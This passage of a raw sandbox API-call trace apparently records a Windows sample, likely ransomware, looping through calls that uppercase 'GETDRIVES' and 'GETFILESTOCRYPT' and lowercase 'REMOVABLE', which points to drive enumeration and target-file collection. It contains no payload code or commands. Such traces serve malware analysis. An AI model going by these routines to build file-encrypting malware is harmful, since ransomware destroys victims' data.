wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.955] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.955] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.955] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.955] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.955] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.955] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.955] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.956] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.956] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.956] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.956] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.956] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.957] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.957] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.979] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.979] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.979] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.979] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.979] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.979] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.979] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.980] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.980] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.980] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.980] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.980] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.980] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.980] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.981] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.981] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.981] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.981] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.998] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.998] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.998] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.998] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.998] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.998] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.998] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.998] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.999] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.999] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.999] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.999] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.999] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.999] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.999] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.999] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.999] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.000] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.000] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.000] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.000] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.000] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.000] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.028] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.028] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.029] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.029] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.029] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.029] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.029] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.029] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.029] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.029] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.029] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.029] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.030] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.030] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.030] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.030] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.030] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.030] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.030] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.030] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.030] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.031] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.032] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.032] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.032] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.032] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.032] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.032] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.032] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.033] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.033] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.033] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.033] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.033] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.033] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.034] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.034] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.054] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.054] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.054] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.055] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.055] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.055] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.055] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.055] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.055] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.055] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.055] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.055] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.055] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", 